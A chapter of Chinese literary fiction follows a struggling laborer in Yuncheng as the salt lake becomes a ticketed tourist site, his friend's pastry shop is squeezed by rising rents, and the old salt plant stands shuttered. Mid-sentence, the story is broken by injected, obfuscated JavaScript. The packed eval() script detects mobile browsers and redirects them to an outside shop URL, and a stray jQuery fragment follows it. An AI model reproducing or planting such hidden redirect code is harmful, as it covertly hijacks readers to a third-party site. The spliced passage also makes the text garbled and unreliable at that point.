二零零八年秋天，运城盐湖景区获批国家4A级旅游景区的消息传遍了县城的大街小巷。
拴柱是在火车站扛活的时候听说的。那天下午，他没有等到活。秋天的火车站不比夏天，进货的旺季过去了，站前广场上圪蹴的闲人比工头还多。他蹲在最里头的一根柱子旁边，背靠着墙，手里攥着一根捡来的烟屁股，烟已经灭了，他只是叼在嘴里，牙齿一下一下地啃着烟嘴。
旁边两个老汉在谝闲传。一个说：盐湖变景区了，听说是4A级，那级别可高了，跟五台山一个档次。另一个摇头：差远了。五台山是5A。不过4A也够厉害了，以后旅游的人多了，咱这地方就值钱了。
拴柱听着，没搭腔。他把烟嘴从嘴里拿出来，夹在指头缝里转了两圈。盐湖变成景区跟他有什么关系呢？景区是收门票的，位置在盐池那一带，离洼里村还有五六里地。他是个扛活的，不是旅游的。旅游的人会花钱买票进景区，拍照片、看风景、买纪念品。他不会。他连十块钱的门票都舍不得花。
可变化还是慢慢地渗透过来了。
首先是老南街。老南街的民俗改造工程从去年开始，折腾了大半年，现在总算是完工了。原先的砖墙拆了一部分，露出了里头的木结构——那些木头柱子是老料，有上百年了，被虫蛀得千疮百孔，可修旧如旧地保留了下来。街面上铺了新的青石板，石板上凿了防滑的纹路，下雨天不打滑。街两旁挂上了红灯笼，一溜红，从南头挂到北头，到了夜里灯一亮，整条街红彤彤的，像个新娘子。
彩霞的煮饼铺搬到了街尾巴。
原先拆迁只补偿了两千三，不够置一间新房。彩霞在东边的新街上租了一间门面，月租一百八。她咬着牙，把铺子开了起来。新门面比原来的小一半，案板也只能放小的。可她的手艺没丢——揉面、拌馅、滚芝麻，一气呵成。她的煮饼还卖那个价：一块五一个。价格没变，可成本变了——房租涨了，芝麻涨了，蜜枣贵了，白糖也贵了。刨去成本，一个煮饼的利润薄得只够买一盒火柴。
她勉力支撑着。儿子今年八岁了，上二年级，课本费、校服费、午饭费——不，学校里不叫午饭费了，叫"营养餐费"。彩霞看着儿子拿回来的缴费单，手指头在那一串数字上摩挲了很久。
拴柱是在一个后晌路过新店的。
他从火车站回来，空着手——今儿又没等到活。他推着自行车，沿着新修的老南街走，路过红灯笼的时候停了一下。灯笼是新的，红绸子面子，里头的灯泡是节能灯，屁股后头拖着一堆线。他看着那些灯笼，想起从前老南街的模样——没有灯笼，没有新石板，没有游客。只有青石板路被车轱辘轧得坑坑洼洼，只有铺子门口堆着废纸箱，只有冬天的寒风卷着黄土灌进衣领。
路过彩霞的铺子时，他犹豫了片刻，还是走了进去。
铺子很小，一眼就能望到头。门口支着一只小炉子，炉子上坐着一口铁锅，锅里的油正滋滋地翻着花。彩霞站在案板后头，背对着门，两只手在面团上忙碌着。她听见门响，没有回头，只是问了一句：要几个？
拴柱没回答。他站在门口，看着她的背影。那背影比去年更瘦了，蓝布围裙系在腰上，打个结还得绕两圈。她的头发已经有些许白丝了，从耳根处冒出来，在光线底下泛着银光。
彩霞回过头，看见是他。她的动作停了一下，只停了一秒。
来了？她问。
来了。拴柱说。路过，看看你。
彩霞把手上的面在围裙上擦了擦，走到柜台前头。她从底下抽出一张油纸，包了四块煮饼，推到拴柱跟前。
拿着。她说。
拴柱从兜里掏钱。他兜里只有三块钱——今天早上出门前，娘把买菜剩下的零钱塞给他了。他掏出那三块钱，放在柜台上。
彩霞把钱推了回去。
不用。她说。这几个不值钱。拿着吧，给你娘。
拴柱看着那四块煮饼。煮饼还温着，隔着油纸能感觉到里头的热气。那股子麦芽糖的甜香和芝麻的油香混在一块儿，从纸缝里钻出来，钻进他的鼻孔里。
他把钱收回了兜里。不是他想占便宜，是他知道推来推去没意思。他们都不是那种会在三块钱上推搡半天的人。
新街怎么样？他问。
彩霞转过身，继续揉她的面。面团在她手里翻过来倒过去，发出闷闷的噗噗声。
还行。她说。游客比从前多了。可多的是看一眼就走的，真正买的少。有一天来了个大巴车，下来四十多个人，全涌进来看看、摸摸、问问价，最后就买了两斤——还是两个人合买的一斤，分着装。
拴柱点点头。他能想象那场景。游客要的是新鲜，是拍照，是发朋友圈的素材。他们不一定真的想吃闻喜煮饼——或者说，他们即使想吃，也不会在景区买，要回到城里的超市买，便宜。
盐湖景区那边你去过没？彩霞问。
拴柱摇了摇头。
我前儿去了一趟。彩霞说，用围裙擦了擦额头上的汗，门票二十。里头修了栈道，沿着盐池修建的，木头板子铺的，走上去咯吱咯吱响。还有那种观光的小火车，嘟嘟的，拉着游客围着盐池转一圈。盐池上头的硝堆扫了，铺了白色的盐晶，太阳一照，白花花的，晃眼。
好看？拴柱问。
好看。彩霞顿了顿，手里的擀面杖在案板上敲了一下，好看是好看。就是不知道好看能顶几个钱。盐池里头的卤水都抽干了，说是怕有味，影响游客。可卤水抽干了，盐从哪来？咱这盐池，产了几千年的盐了。不产盐了，光好看，能当饭吃？
拴柱没说话。他把手里的油纸包攥紧了一些，煮饼的热量透过纸张传到手心里，温温的。
他在铺子里站了片刻，然后转身往外走。走到门口的时候，他回头说了一句：你……保重。
彩霞正在往芝麻盆里滚煮饼，白生生的面剂子在芝麻堆里打个滚，转眼就裹了一身金黄。她没有抬头，只是低低应了一声。那声"嗯"里带着什么，拴柱听不出来——是疲惫，是认命，还是别的什么。他只是推开门，走了出去。
外头的天已经暗下来了。老南街的红灯笼亮了起来，一溜红，从南头亮到北头。街上有些游客——是从盐湖景区过来的，手里拿着相机，脖子上挂着地图。他们站在红灯笼底下拍照，摆姿势，笑容在镜头前头绽放得很大。
拴柱站在街角，看着那些游客。他看着他们的笑脸，看着他们的相机，看着他们手里拿着的、刚刚从景区买来的小纪念品——盐雕、盐画、盐晶瓶。那些东西都是用盐池里头的盐做的，被包装成了精美的礼品，摆在玻璃柜台里卖。一块拳头大的盐雕能卖到三十五块。拴柱算了算，那相当于他扛一百多袋水泥的价钱。
他低下头，看了看自己手里那包煮饼。四块煮饼，油纸包着，还温着。这是他的世界上唯一伸手可及的东西。
他把那包煮饼揣进怀里，推着自行车往村子的方向走去。
南环路上新装了一批路灯。是那种高高的铁杆灯，上头顶着一只圆形的灯泡，白光雪亮的，把路面照得跟白天一样。拴柱走在路灯底下，影子被拉得很长，一会前一会后地变化着。车轮子在柏油路面上发出沙沙的摩擦声。
路过盐湖景区入口的时候，他停了一下。
景区门口修了一扇大门。门是仿古式的，红柱黄瓦，上头挂着一块大匾，匾上写着"运城盐湖"四个烫金大字。门两旁各立了一只石狮子，崭新崭新的，眼睛瞪得溜圆。门口站着两个穿制服的工作人员，手里拎着安检仪，对每个进门的游客进行检查。门票窗口前排着一列队伍，有大人带着孩子的，有老头老太太相互搀扶着的，还有年轻情侣手挽着手。
拴柱没有进去。他只是站在马路对面，往里头看了一眼。从大门往里走，能看见新修的木栈道的一角，沿着盐池的岸线蜿蜒着。栈道旁边有假山、有花坛、有刻着"中国死海"几个大红字的石头。再往里看，还能看见那根观光小火车的烟囱，冒着淡淡的白烟。
这就是盐湖景区。他守了一辈子的盐池。小时候他在这渠里抓过鱼、洗过脚。后来在盐化厂上班，每天从这渠边走，闻惯了那股子咸涩的卤水味。现在那卤水没了，鱼没了，盐也没了。只剩下一条木栈道、一列小火车、两块石头、几个穿制服的人。还有，二十块钱的门票。
他看了一会儿，然后蹬上车，继续往前走。
路过盐化厂的老厂区时，他又停了一下。
厂区的大门已经封了。铁门上挂着一把锈锁，还贴着一张白纸，纸上写着"南风集团产业??清算小组"，字是电脑打的，边上盖着一个红章。门口的梧桐树枯死了半边，剩下半边还吊着几条枯枝，在风中摇晃。原先车间里的烟囱已经不在了——被拆掉了，说是影响景区景观。他以前值夜班的那个车间现在长满了蒿草，草有一人多高，在风中起伏着，像一片绿色的海。
他从兜里摸出那根旱烟杆，装了一锅烟叶子，划了根火柴点上。他站在厂区门口，抽着烟，看着那扇锈了的铁门。铁门上的红漆掉了不少，露出里头黄褐色的锈迹，像一块溃烂了的皮肤。
他想起小时候，爹活着的时候，带他来盐化厂参观。那时候厂里的烟囱比塬还高，冒着滚滚的白烟。车间里的机器哐当哐当地响，工人们穿着崭新的蓝布工装，在车间里走来走去。那时候他觉得这个厂是世界上最大的地方，比他见过的任何地方都大、都响、都有力量。
现在那力量没了。只剩下一把锈锁、一蓬乱草、和几缕他吐出来的烟雾。
他抽完了那根烟，把烟灰往地上一磕，火星子溅在草丛里，灭了。他蹬上车，继续往村子的方向走。
回到洼里村的时候，天已经彻底黑了。
村口的那棵老槐树已经被砍掉了。去年的时候还在，今年开春的时候说是要做路，碍事，锯了。树桩子和根都被刨走了，只剩下一个圆圆的土坑，坑边还散落着几截断根。姚三娘在门口的小板凳上坐着，手里端着一只粗瓷碗，碗里是晚饭吃剩的面汤。她看见拴柱过来，抬起头。
树没了。她说。
拴柱低低应了一声。他知道她说的是老槐树。
五十多年了。姚三娘用筷子在碗里搅了搅，我嫁过来那年栽的。说树没了，人还在。可人还在有啥用？树都没了，人还算啥？
拴柱没接话。他推着自行车从她身边走过去。走了两步，又停下来，回头说了一句：三娘，盐湖变景区了。
姚三娘抬起头，往盐湖的方向望了一眼。那方向只能看见黑黢黢的天，别的什么都看不见。
景区？她嘟囔了一句，景区是啥？
就是……花钱看景的地方。
花钱看景？姚三娘像是听见了什么好笑的事，咧开嘴笑了一下。她的牙已经掉了好几颗，剩下的也松了，一笑就露出黑黢黢的牙花子。咱看了这盐池几十年了，没花过一分钱。现在倒好，让他们圈起来，二十块钱看一回。这世道……
她摇了摇头，没往下说。她把碗里的面汤喝完了，用筷子刮了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653769|206901||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刮碗底，站起身，端着碗往屋里走去。走到门口的时候，她又回过头来。
拴柱。她说。你师傅走了，你得把他的那间屋子拾掇拾掇。天冷了，炕得烧，别让你师傅在那边冻着。
拴柱点了点头。
他回到家，把自行车支好，进了灶房。
娘已经睡了——她现在的觉越来越多，天还没黑透就睁不开眼了。苗苗在西屋写作业。她今年十六了，上高一。高中是在县城的重点中学上的，是考上的，分数在班里排第七。那是拴柱这辈子最自豪的事情——比当年自己转正还自豪。可那份自豪是用钱堆出来的——学费、住宿费、资料费、补习费，每一笔都是一笔债，压在他的脊梁骨上。
他在灶房里煮了一锅面片。汤没烧开，面片子就下了，煮成了一锅糨糊。他把糨糊盛进碗里，端到西屋门口，放在门槛上。
苗苗。他压低声音喊了一句。
西屋里传来翻纸的声音，然后是苗苗的声音：嗯。
饭在门口。拴柱说。
那声音又从里头传出来：知道了。等会儿吃。
拴柱站在门口，站了一会儿。他透过门缝往里看——苗苗趴在桌子上，台灯底下，一只手按着书，另一只手握着铅笔。她的头发比前两年更长了，扎成了一条马尾，垂在背上。台灯的光把她的影子投在墙上，小脑袋一点一点的，像只啄米的小鸡。
他想推门进去，给她把被子拉好。可他怕打扰她。高中功课紧，她每天都学到深夜。老师的卷子一张一张地发，她一张一张地做。英语、数学、物理——那些东西他一样也看不懂，可他看着她做，心里头就踏实。
他轻手轻脚地走回灶房，坐在灶膛前头。
炉膛里的火已经熄了。他从墙角抱过一块煤，添进炉膛，用铁钩子拨了拨。煤是劣质的，里头掺了不少土，点了好几下才点着，火苗一蹿，带着一股子刺鼻的硫磺味。
他把那双裂着口子的手伸到炉膛口上，烘着。火光把他的脸照得忽明忽暗。他想起了白天在老南街看到的一切——红灯笼、游客、相机、盐雕。他又想起了盐化厂门口那把锈锁。他想起了师傅土坟上那一捧新翻的黄土。他想起了彩霞铺子里的小手炉和新贵的房租。他想起了姚三娘说"树没了"时候脸上的表情。
这些事情在他的脑子里转着，像一口铁锅里的面条，翻滚着、碰撞着、纠缠在一起。他不知道这些事情是变好了还是变坏了。景区建成了，路修宽了，灯变亮了。可树砍了，厂封了，人老了，师傅走了。好和坏像两股拧在一起的绳，分不清哪股是哪股。
他只是坐在那里，烘着手，看着炉膛里的火苗从橙红变成暗红，再变成灰白。
外头又开始放鞭炮了。从县城的方向传来，噼里啪啦的，断断续续。可能是景区在搞什么活动，也可能是老南街在给游客表演民俗。他不知道，也不关心。那鞭炮声离他很远，远得就像这灶房里的火光，虽然亮，可暖不到他心里头。
他把那块手帕从怀里掏出来。师傅的手帕。他把它展开，贴在脸上，深深地吸了一口气。那股子味道已经彻底变了——不再有任何师傅的气息，只剩下他自己身上的味道。汗味、土味、烟味、面汤味。
他把那块手帕叠好，攥在手心里。炉膛里的火已经完全熄灭了，只剩下一堆灰白的余烬。屋子里的温度开始下降，可他不想动。他在想，明天得去师傅的屋子里把炕烧上，得把窗户缝糊上，得把房檐上的瓦补一补。冬天要来了，师傅虽然不在了，屋子不能塌。
他攥着那块手帕，在灶膛前头坐着，一直坐到院子里传来鸡叫的声音。
天快亮了。远处景区的方向，隐约传来了观光小火车的鸣笛声——嘟嘟的，闷闷的，像一头还在沉睡的老牛。
拴柱站起身，拍了拍屁股上的灰，走到院子里。
院子里的天是灰蓝色的，太阳还没出来，可天边已经泛起了一层薄薄的、鱼肚一样的白。他走到水缸跟前，舀了半瓢凉水，把脸洗干净。水很凉，激在脸上，像被小刀子拉了一把。
他直起腰，看着眼前的院子。院子还是那个院子，土墙、破自行车、空荡荡的晾衣绳、墙根底下的柴禾堆。可他又觉得一切都不是从前了——墙更矮了，自行车更锈了，晾衣绳上的木夹子少了一只，柴禾堆比去年矮了半截。
他走到院门口，推开门。门轴吱呀一声响。
外头是新修的南环路。马路平坦，路灯雪亮。偶尔有一辆旅游大巴开过，车窗里透出暖黄色的灯光，一个人影侧着脸，对着外头黑黢黢的田地拍照。
大巴开走了。灯光消失了。马路重新归于寂静。
拴柱站在院门口，深深地吸了一口气。那口气里头夹杂着柏油的焦糊味、盐碱的涩气、还有一股子他说不上来的、淡淡的甜香——可能是远处老南街的红灯笼在晨风里散发出来的气味，也可能是盐湖景区的木栈道刷了新漆的气味。
他分辨不出来。他也不想去分辨。
他只是站在那里，站了一会儿，然后转身回了院子。他扛起锄头，往地里走去。
塬上起风了。风卷着黄土，从他的领口灌进去，吹得他的后背凉飕飕的。他缩了缩脖子，把下巴埋进棉袄领子里。他的两只手握着锄把，一步一步地往塬上走。
太阳从塬上爬起来了，把黄土塬照成了一片金色。拴柱的影子被拉得很长，很长，像一根被风吹弯了的芦苇秆，但并没有折断。
他走得很慢，可每一步都走得很稳。
（本章完）